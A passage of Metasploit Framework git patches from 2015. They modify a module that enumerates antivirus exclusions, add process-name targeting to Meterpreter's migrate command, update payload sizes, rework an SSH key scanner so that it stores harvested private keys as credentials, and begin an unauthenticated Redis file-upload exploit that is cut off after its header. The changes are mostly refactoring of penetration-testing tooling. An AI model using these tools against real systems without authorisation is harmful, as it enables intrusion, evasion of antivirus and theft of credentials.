exclusions for #{product}") return end table = Rex::Ui::Text::Table.new( - 'Header' => "#{product} excluded paths", + 'Header' => "#{product} excluded #{exclusion_type.pluralize}", 'Indent' => 1, - 'Columns' => %w(path) + 'Columns' => [ exclusion_type.capitalize ] ) exclusions.map { |exclusion| table << [exclusion] } print_line(table.to_s) From c92365090f526d6c6d4c5bbded0ef322b9a08ca1 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 4 Dec 2015 12:38:25 -0800 Subject: [PATCH 1433/2172] Simpler --- modules/post/windows/gather/enum_av_excluded.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index 54265f2151..7bdde81271 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Post def print_exclusions_table(product, exclusion_type, exclusions) exclusions ||= [] - exclusions = exclusions.compact.reject { |e| e.blank? } + exclusions = exclusions.compact.reject(&:blank?) if exclusions.empty? print_status("No #{exclusion_type} exclusions for #{product}") return From ad60a4118e15760c186d0b68d010186084606e15 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 4 Dec 2015 13:01:28 -0800 Subject: [PATCH 1434/2172] Put admin and client exclusions in different tables --- modules/post/windows/gather/enum_av_excluded.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index 7bdde81271..275cdf3daa 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -60,18 +60,20 @@ class Metasploit3 < Msf::Post admin_exclusion_key = "#{base_exclusion_key}\\Admin" admin_exclusion_key = "#{base_exclusion_key}\\Client" - paths = [] + admin_paths = [] if (admin_exclusion_keys = registry_enumkeys(admin_exclusion_key)) admin_exclusion_keys.map do |key| - paths << registry_getvaldata("#{admin_exclusion_key}\\#{key}", 'DirectoryName') + ' (admin)' + admin_paths << registry_getvaldata("#{admin_exclusion_key}\\#{key}", 'DirectoryName') end + print_exclusions_table(SEP, 'admin path', admin_paths) end + client_paths = [] if (client_exclusion_keys = registry_enumkeys(client_exclusion_key)) client_exclusion_keys.map do |key| - paths << registry_getvaldata("#{client_exclusion_key}\\#{key}", 'DirectoryName') + ' (client)' + client_paths << registry_getvaldata("#{client_exclusion_key}\\#{key}", 'DirectoryName') end end - print_exclusions_table(SEP, 'path', paths) + print_exclusions_table(SEP, 'client path', client_paths) end def excluded_defender From 3ecac615a2843d55e8e27ce9d99eab185e4f69f7 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 4 Dec 2015 13:33:01 -0800 Subject: [PATCH 1435/2172] Support migrating to processes by process name Fixes #6313 --- .../ui/console/command_dispatcher/core.rb | 30 ++++++++++++------- 1 file changed, 20 insertions(+), 10 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index f8451e6b07..b7fae53d7e 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -816,6 +816,8 @@ class Console::CommandDispatcher::Core end @@migrate_opts = Rex::Parser::Arguments.new( + '-P' => [true, 'PID to migrate to.'], + '-N' => [true, 'Process name to migrate to.'], '-p' => [true, 'Writable path - Linux only (eg. /tmp).'], '-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'], '-h' => [false, 'Help menu.'] @@ -823,9 +825,9 @@ class Console::CommandDispatcher::Core def cmd_migrate_help if client.platform =~ /linux/ - print_line('Usage: migrate <pid> [-p writable_path] [-t timeout]') + print_line('Usage: migrate <<pid> | -P <pid> | -N <name>> [-p writable_path] [-t timeout]') else - print_line('Usage: migrate <pid> [-t timeout]') + print_line('Usage: migrate <<pid> | -P <pid> | -N <name>> [-t timeout]') end print_line print_line('Migrates the server instance to another process.') @@ -840,31 +842,39 @@ class Console::CommandDispatcher::Core # platforms a path for the unix domain socket used for IPC. # @return [void] def cmd_migrate(*args) - if args.length == 0 || args.include?('-h') + if args.length == 0 || args.any? { |arg| %w(-h --pid --name).include? arg } cmd_migrate_help return true end - pid = args[0].to_i - if pid == 0 - print_error('A process ID must be specified, not a process name') - return - end - + pid = nil writable_dir = nil opts = { timeout: nil } - @@transport_opts.parse(args) do |opt, idx, val| + @@migrate_opts.parse(args) do |opt, idx, val| case opt when '-t' opts[:timeout] = val.to_i when '-p' writable_dir = val + when '-P' + pid = val.to_i + when '-N' + unless (process = client.sys.process.processes.find { |p| p['name'] == val }) + print_error("Could not find process name #{val}") + return + end + pid = process['pid'] end end + unless pid + print_error('A process ID or name must be provided') + return + end + begin server = client.sys.process.open rescue TimeoutError => e From f141cf0e56d474d5105dd74316d527747b8d4c84 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 4 Dec 2015 16:12:23 -0600 Subject: [PATCH 1436/2172] Bump metsploit-payloads to 1.0.18 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 3bc00c0f47..3f154d58cc 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -13,7 +13,7 @@ PATH metasploit-concern (= 1.0.0) metasploit-credential (= 1.0.1) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.17) + metasploit-payloads (= 1.0.18) metasploit_data_models (= 1.2.9) msgpack network_interface (~> 0.0.1) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.17) + metasploit-payloads (1.0.18) metasploit_data_models (1.2.9) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 1e000e0215..537b2283fa 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -68,7 +68,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.17' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.18' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. From 644c1347cd605d3e8a7a77d3347cc3b2a471333f Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 4 Dec 2015 16:14:37 -0600 Subject: [PATCH 1437/2172] Update payload sizes --- modules/payloads/singles/python/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_https.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_tcp.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index bf7069cef5..395962145f 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49482 + CachedSize = 50226 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 5d518cf963..44369a42a9 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49446 + CachedSize = 50190 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 58e0cd3185..efdecac0bc 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49446 + CachedSize = 50190 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index f4aabdd443..7988da15eb 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49398 + CachedSize = 50146 include Msf::Payload::Single include Msf::Payload::Python From 06836d9b8ab5b355af43c27043b201137dc2152a Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 4 Dec 2015 14:25:57 -0800 Subject: [PATCH 1438/2172] Better handling of invalid process name/IDs --- .../ui/console/command_dispatcher/core.rb | 26 +++++++++++++++---- 1 file changed, 21 insertions(+), 5 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index b7fae53d7e..bd390e0685 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -818,9 +818,9 @@ class Console::CommandDispatcher::Core @@migrate_opts = Rex::Parser::Arguments.new( '-P' => [true, 'PID to migrate to.'], '-N' => [true, 'Process name to migrate to.'], - '-p' => [true, 'Writable path - Linux only (eg. /tmp).'], - '-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'], - '-h' => [false, 'Help menu.'] + '-p' => [true, 'Writable path - Linux only (eg. /tmp).'], + '-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'], + '-h' => [false, 'Help menu.'] ) def cmd_migrate_help @@ -860,8 +860,17 @@ class Console::CommandDispatcher::Core when '-p' writable_dir = val when '-P' + unless val =~ /^\d+$/ + print_error("Not a PID: #{val}") + return + end pid = val.to_i when '-N' + if val.blank? + print_error("No process name provided") + return + end + # this will migrate to the first process with a matching name unless (process = client.sys.process.processes.find { |p| p['name'] == val }) print_error("Could not find process name #{val}") return @@ -871,8 +880,15 @@ class Console::CommandDispatcher::Core end unless pid - print_error('A process ID or name must be provided') - return + unless (pid = args.first) + print_error('A process ID or name argument must be provided') + return + end + unless pid =~ /^\d+$/ + print_error("Not a PID: #{pid}") + return + end + pid = pid.to_i end begin From f6417df9ba6c687a3e5d0120b705b3b7cd523b11 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 4 Dec 2015 17:13:43 -0800 Subject: [PATCH 1439/2172] Update enum_av_excluded to work properly under wow64 --- .../post/windows/gather/enum_av_excluded.rb | 29 ++++++++++--------- 1 file changed, 15 insertions(+), 14 deletions(-) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index 275cdf3daa..563478435c 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -61,31 +61,31 @@ class Metasploit3 < Msf::Post admin_exclusion_key = "#{base_exclusion_key}\\Client" admin_paths = [] - if (admin_exclusion_keys = registry_enumkeys(admin_exclusion_key)) + if (admin_exclusion_keys = registry_enumkeys(admin_exclusion_key, @registry_view)) admin_exclusion_keys.map do |key| - admin_paths << registry_getvaldata("#{admin_exclusion_key}\\#{key}", 'DirectoryName') + admin_paths << registry_getvaldata("#{admin_exclusion_key}\\#{key}", 'DirectoryName', @registry_view) end print_exclusions_table(SEP, 'admin path', admin_paths) end client_paths = [] - if (client_exclusion_keys = registry_enumkeys(client_exclusion_key)) + if (client_exclusion_keys = registry_enumkeys(client_exclusion_key, @registry_view)) client_exclusion_keys.map do |key| - client_paths << registry_getvaldata("#{client_exclusion_key}\\#{key}", 'DirectoryName') + client_paths << registry_getvaldata("#{client_exclusion_key}\\#{key}", 'DirectoryName', @registry_view) end end print_exclusions_table(SEP, 'client path', client_paths) end def excluded_defender - print_exclusions_table(DEFENDER, 'extension', registry_enumvals("#{DEFENDER_BASE_KEY}\\Exclusions\\Extensions")) - print_exclusions_table(DEFENDER, 'path', registry_enumvals("#{DEFENDER_BASE_KEY}\\Exclusions\\Paths")) - print_exclusions_table(DEFENDER, 'process', registry_enumvals("#{DEFENDER_BASE_KEY}\\Exclusions\\Processes")) + print_exclusions_table(DEFENDER, 'extension', registry_enumvals("#{DEFENDER_BASE_KEY}\\Exclusions\\Extensions", @registry_view)) + print_exclusions_table(DEFENDER, 'path', registry_enumvals("#{DEFENDER_BASE_KEY}\\Exclusions\\Paths", @registry_view)) + print_exclusions_table(DEFENDER, 'process', registry_enumvals("#{DEFENDER_BASE_KEY}\\Exclusions\\Processes", @registry_view)) end def excluded_mssec - print_exclusions_table(ESSENTIALS, 'extension', registry_enumvals("#{ESSENTIALS_BASE_KEY}\\Exclusions\\Extensions")) - print_exclusions_table(ESSENTIALS, 'path', registry_enumvals("#{ESSENTIALS_BASE_KEY}\\Exclusions\\Paths")) - print_exclusions_table(ESSENTIALS, 'process', registry_enumvals("#{ESSENTIALS_BASE_KEY}\\Exclusions\\Processes")) + print_exclusions_table(ESSENTIALS, 'extension', registry_enumvals("#{ESSENTIALS_BASE_KEY}\\Exclusions\\Extensions", @registry_view)) + print_exclusions_table(ESSENTIALS, 'path', registry_enumvals("#{ESSENTIALS_BASE_KEY}\\Exclusions\\Paths", @registry_view)) + print_exclusions_table(ESSENTIALS, 'process', registry_enumvals("#{ESSENTIALS_BASE_KEY}\\Exclusions\\Processes", @registry_view)) end def print_exclusions_table(product, exclusion_type, exclusions) @@ -105,10 +105,11 @@ class Metasploit3 < Msf::Post end def setup - if sysinfo['Architecture'] =~ /WOW64/ - fail_with(Failure::BadConfig, 'You are running this module from a 32-bit process on a 64-bit machine. ' \ - 'Migrate to a 64-bit process and try again') - end + # all of these target applications seemingly store their registry + # keys/values at the same architecture of the host, so if we happen to be + # in a 32-bit process on a 64-bit machine, ensure that we read from the + # 64-bit keys/values, and otherwise use the native keys/values + @registry_view = sysinfo['Architecture'] =~ /WOW64/ ? REGISTRY_VIEW_64_BIT : REGISTRY_VIEW_NATIVE unless datastore['DEFENDER'] || datastore['ESSENTIALS'] || datastore['SEP'] fail_with(Failure::BadConfig, 'Must set one or more of DEFENDER, ESSENTIALS or SEP to true') end From 09c58e4097eb32a4a1ab8b2cc2c820a518597cb6 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Sat, 5 Dec 2015 21:18:29 +0000 Subject: [PATCH 1440/2172] Massive rework of the storage/notes/reporting --- .../scanner/ssh/ssh_identify_pubkeys.rb | 120 +++++++++++++----- 1 file changed, 86 insertions(+), 34 deletions(-) diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index 3bc9ed96fb..0cabae22d2 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -29,13 +29,16 @@ class Metasploit3 < Msf::Auxiliary this module will record authorized public keys and hosts so you can track your process. - Key files may be a single public (unencrypted) key, or several public keys concatenated together as an ASCII text file. Non-key data should be silently ignored. Private keys will only utilize the public key component stored within the key file. }, - 'Author' => ['todb', 'hdm'], + 'Author' => [ + 'todb', + 'hdm', + 'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>', # Reworked the storage (db, credentials, notes, loot) only + ], 'License' => MSF_LICENSE ) @@ -116,11 +119,14 @@ class Metasploit3 < Msf::Auxiliary keepers = [] keys.each do |key| if key =~ /ssh-(dss|rsa)/ - keepers << key + # A public key has been provided + keepers << { :public => key, :private => "" } next - else # Use the mighty SSHKey library from James Miller to convert them on the fly. + else + # Use the mighty SSHKey library from James Miller to convert them on the fly. + # This is where a PRIVATE key has been provided ssh_version = SSHKey.new(key).ssh_public_key rescue nil - keepers << ssh_version if ssh_version + keepers << { :public => ssh_version, :private => key } if ssh_version next end @@ -130,8 +136,8 @@ class Metasploit3 < Msf::Auxiliary next unless key =~ /\n-----END [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a?$/m # Shouldn't have binary. next unless key.scan(/[\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff]/).empty? - # Add more tests to taste. - keepers << key + # Add more tests to test + keepers << { :public => key, :private => "" } end if keepers.empty? print_error "#{ip}:#{rport} SSH - No valid keys found" @@ -142,9 +148,9 @@ class Metasploit3 < Msf::Auxiliary def pull_cleartext_keys(keys) cleartext_keys = [] keys.each do |key| - next unless key - next if key =~ /Proc-Type:.*ENCRYPTED/ - this_key = key.gsub(/\x0d/,"") + next unless key[:public] + next if key[:private] =~ /Proc-Type:.*ENCRYPTED/ + this_key = { :public => key[:public].gsub(/\x0d/,""), :private => key[:private] } next if cleartext_keys.include? this_key cleartext_keys << this_key end @@ -182,26 +188,26 @@ class Metasploit3 < Msf::Auxiliary @alerted_with_msg = true end - cleartext_keys.each_with_index do |key_data,key_idx| - key_info = "" - if key_data =~ /ssh\-(rsa|dss)\s+([^\s]+)\s+(.*)/ + cleartext_keys.each_with_index do |key_data,key_idx| + + key_info = "" + if key_data[:public] =~ /ssh\-(rsa|dss)\s+([^\s]+)\s+(.*)/ key_info = "- #{$3.strip}" end - accepted = [] opt_hash = { :auth_methods => ['publickey'], :msframework => framework, :msfmodule => self, :port => port, - :key_data => key_data, + :key_data => key_data[:public], :disable_agent => true, :record_auth_info => true, :skip_private_keys => true, :config =>false, - :accepted_key_callback => Proc.new {|key| accepted << key }, + :accepted_key_callback => Proc.new {|key| accepted << { :data => key_data, :key => key } }, :proxies => datastore['Proxies'] } @@ -244,35 +250,63 @@ class Metasploit3 < Msf::Auxiliary end accepted.each do |key| - print_brute :level => :good, :msg => "Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}" - do_report(ip, rport, user, key, key_data) + print_brute :level => :good, :msg => "Public key accepted: '#{user}' with key '#{key[:key][:fingerprint]}' #{key_info}" + do_report(ip, rport, user, key, key_data[:public], key_info) end end end - def do_report(ip, port, user, key, key_data) + def do_report(ip, port, user, key, key_data, key_info) return unless framework.db.active - keyfile_path = store_keyfile(ip,user,key[:fingerprint],key_data) - cred_hash = { - :host => ip, - :port => rport, - :sname => 'ssh', - :user => user, - :pass => keyfile_path, - :source_type => "user_supplied", - :type => 'ssh_pubkey', - :proof => "KEY=#{key[:fingerprint]}", - :duplicate_ok => true, - :active => true - } - this_cred = report_auth_info(cred_hash) + + # Store a note relating to the public key test + note_information = { + user: user, + public_key: key_data, + private_key: (key[:data][:private]) ? 'Yes' : 'No', + info: key_info + } + report_note(host: ip, port: port, type: "ssh.publickey", data: note_information, update: :unique_data) + + + if key[:data][:private] + # Store these keys in loot + public_keyfile_path = store_public_keyfile(ip,user,key[:fingerprint],key_data) + private_keyfile_path = store_private_keyfile(ip,user,key[:fingerprint],key[:data][:private]) + + # Use the proper credential method to store credentials that we have + service_data = { + address: ip, + port: port, + service_name: 'ssh', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: key[:data][:private], + private_type: :ssh_key, + username: key[:key][:user], + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: private_keyfile_path + }.merge(service_data) + create_credential_login(login_data) + + end end def existing_loot(ltype, key_id) framework.db.loots(myworkspace).where(ltype: ltype).select {|l| l.info == key_id}.first end - def store_keyfile(ip,user,key_id,key_data) + def store_public_keyfile(ip,user,key_id,key_data) safe_username = user.gsub(/[^A-Za-z0-9]/,"_") ktype = key_data.match(/ssh-(rsa|dss)/)[1] rescue nil return unless ktype @@ -291,6 +325,24 @@ class Metasploit3 < Msf::Auxiliary return keyfile_path end + def store_private_keyfile(ip,user,key_id,key_data) + safe_username = user.gsub(/[^A-Za-z0-9]/,"_") + ktype = key_data.match(/-----BEGIN ([RD]SA) (?:PRIVATE|PUBLIC) KEY-----/)[1].downcase rescue nil + return unless ktype + ltype = "host.unix.ssh.#{user}_#{ktype}_private" + keyfile = existing_loot(ltype, key_id) + return keyfile.path if keyfile + keyfile_path = store_loot( + ltype, + "application/octet-stream", # Text, but always want to mime-type attach it + ip, + (key_data + "\n"), + "#{safe_username}_#{ktype}.private", + key_id + ) + return keyfile_path + end + def run_host(ip) # Since SSH collects keys and tries them all on one authentication session, it doesn't # make sense to iteratively go through all the keys individually. So, ignore the pass variable, From bd1bf4aa725b501a5a8494ec5586f5a0c8cb23ff Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Sat, 5 Dec 2015 21:19:34 +0000 Subject: [PATCH 1441/2172] Initial test, fixed noteswq --- modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index 0cabae22d2..6f29c048ca 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -266,7 +266,7 @@ class Metasploit3 < Msf::Auxiliary private_key: (key[:data][:private]) ? 'Yes' : 'No', info: key_info } - report_note(host: ip, port: port, type: "ssh.publickey", data: note_information, update: :unique_data) + report_note(host: ip, port: port, type: "ssh.publickey.accepted", data: note_information, update: :unique_data) if key[:data][:private] From 4469e9b5efa0dc83fe928edd21d5be16c9b0dd4b Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Sat, 5 Dec 2015 22:45:08 +0000 Subject: [PATCH 1442/2172] Finalised module --- .../auxiliary/scanner/ssh/ssh_identify_pubkeys.rb | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index 6f29c048ca..556be91b89 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -250,28 +250,29 @@ class Metasploit3 < Msf::Auxiliary end accepted.each do |key| - print_brute :level => :good, :msg => "Public key accepted: '#{user}' with key '#{key[:key][:fingerprint]}' #{key_info}" - do_report(ip, rport, user, key, key_data[:public], key_info) + private_key_present = (key_data[:private]!="") ? 'Yes' : 'No' + print_brute :level => :good, :msg => "Public key accepted: '#{user}' with key '#{key[:key][:fingerprint]}' (Private Key: #{private_key_present}) #{key_info}" + do_report(ip, rport, user, key, key_data[:public], key_info, private_key_present) end end end - def do_report(ip, port, user, key, key_data, key_info) + def do_report(ip, port, user, key, key_data, key_info, private_key_present) return unless framework.db.active + public_keyfile_path = store_public_keyfile(ip,user,key[:fingerprint],key_data) + # Store a note relating to the public key test note_information = { user: user, public_key: key_data, - private_key: (key[:data][:private]) ? 'Yes' : 'No', + private_key: private_key_present, info: key_info } report_note(host: ip, port: port, type: "ssh.publickey.accepted", data: note_information, update: :unique_data) - - if key[:data][:private] + if key[:data][:private] != "" # Store these keys in loot - public_keyfile_path = store_public_keyfile(ip,user,key[:fingerprint],key_data) private_keyfile_path = store_private_keyfile(ip,user,key[:fingerprint],key[:data][:private]) # Use the proper credential method to store credentials that we have From 4f1f755c1d7acebc94c0b6bbfb1ff8dc872a0d02 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Sat, 5 Dec 2015 22:49:40 +0000 Subject: [PATCH 1443/2172] msftidy --- .../scanner/ssh/ssh_identify_pubkeys.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index 556be91b89..a829f086b7 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary stored within the key file. }, 'Author' => [ - 'todb', + 'todb', 'hdm', 'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>', # Reworked the storage (db, credentials, notes, loot) only ], @@ -122,8 +122,8 @@ class Metasploit3 < Msf::Auxiliary # A public key has been provided keepers << { :public => key, :private => "" } next - else - # Use the mighty SSHKey library from James Miller to convert them on the fly. + else + # Use the mighty SSHKey library from James Miller to convert them on the fly. # This is where a PRIVATE key has been provided ssh_version = SSHKey.new(key).ssh_public_key rescue nil keepers << { :public => ssh_version, :private => key } if ssh_version @@ -259,7 +259,7 @@ class Metasploit3 < Msf::Auxiliary def do_report(ip, port, user, key, key_data, key_info, private_key_present) return unless framework.db.active - + public_keyfile_path = store_public_keyfile(ip,user,key[:fingerprint],key_data) # Store a note relating to the public key test @@ -268,9 +268,9 @@ class Metasploit3 < Msf::Auxiliary public_key: key_data, private_key: private_key_present, info: key_info - } + } report_note(host: ip, port: port, type: "ssh.publickey.accepted", data: note_information, update: :unique_data) - + if key[:data][:private] != "" # Store these keys in loot private_keyfile_path = store_private_keyfile(ip,user,key[:fingerprint],key[:data][:private]) @@ -291,7 +291,7 @@ class Metasploit3 < Msf::Auxiliary private_type: :ssh_key, username: key[:key][:user], }.merge(service_data) - + login_data = { core: create_credential(credential_data), last_attempted_at: DateTime.now, @@ -299,7 +299,7 @@ class Metasploit3 < Msf::Auxiliary proof: private_keyfile_path }.merge(service_data) create_credential_login(login_data) - + end end From ca023b649999f9f7250f6533ef71b241edc71f08 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Sat, 5 Dec 2015 23:27:28 +0000 Subject: [PATCH 1444/2172] Simplified do_report() to comply with msftidy --- .../auxiliary/scanner/ssh/ssh_identify_pubkeys.rb | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index a829f086b7..25b40a2d41 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -207,7 +207,7 @@ class Metasploit3 < Msf::Auxiliary :record_auth_info => true, :skip_private_keys => true, :config =>false, - :accepted_key_callback => Proc.new {|key| accepted << { :data => key_data, :key => key } }, + :accepted_key_callback => Proc.new {|key| accepted << { :data => key_data, :key => key, :info => key_info } }, :proxies => datastore['Proxies'] } @@ -250,24 +250,25 @@ class Metasploit3 < Msf::Auxiliary end accepted.each do |key| - private_key_present = (key_data[:private]!="") ? 'Yes' : 'No' + private_key_present = (key[:data][:private]!="") ? 'Yes' : 'No' print_brute :level => :good, :msg => "Public key accepted: '#{user}' with key '#{key[:key][:fingerprint]}' (Private Key: #{private_key_present}) #{key_info}" - do_report(ip, rport, user, key, key_data[:public], key_info, private_key_present) + do_report(ip, rport, user, key) end end end - def do_report(ip, port, user, key, key_data, key_info, private_key_present) + def do_report(ip, port, user, key) return unless framework.db.active - public_keyfile_path = store_public_keyfile(ip,user,key[:fingerprint],key_data) + public_keyfile_path = store_public_keyfile(ip,user,key[:fingerprint],key[:data][:public]) + private_key_present = (key[:data][:private]!="") ? 'Yes' : 'No' # Store a note relating to the public key test note_information = { user: user, - public_key: key_data, + public_key: key[:data][:public], private_key: private_key_present, - info: key_info + info: key[:info] } report_note(host: ip, port: port, type: "ssh.publickey.accepted", data: note_information, update: :unique_data) From 20f6cbe5ba3459a0e2ed6a1844e7a2bdb531f5a4 Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Sun, 6 Dec 2015 06:11:11 +0000 Subject: [PATCH 1445/2172] upload file to redis server (unauthentication) --- .../linux/misc/redis_unauth_upload_file.rb | 126 ++++++++++++++++++ 1 file changed, 126 insertions(+) create mode 100644 modules/exploits/linux/misc/redis_unauth_upload_file.rb diff --git a/modules/exploits/linux/misc/redis_unauth_upload_file.rb b/modules/exploits/linux/misc/redis_unauth_upload_file.rb new file mode 100644 index 0000000000..e40b13d678 --- /dev/null +++ b/modules/exploits/linux/misc/redis_unauth_upload_file.rb @@ -0,0 +1,126 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Redis Unauthenticated File Upload', + 'Description' => %q( + This module can save data to file in remote redis server, + Because redis is unprotected without a password set up. + ), + 'License' => MSF_LICENSE, + 'Author' => ['Nixawk'], + 'References' => [ + ['URL', 'http://antirez.com/news/96'], + ['URL', 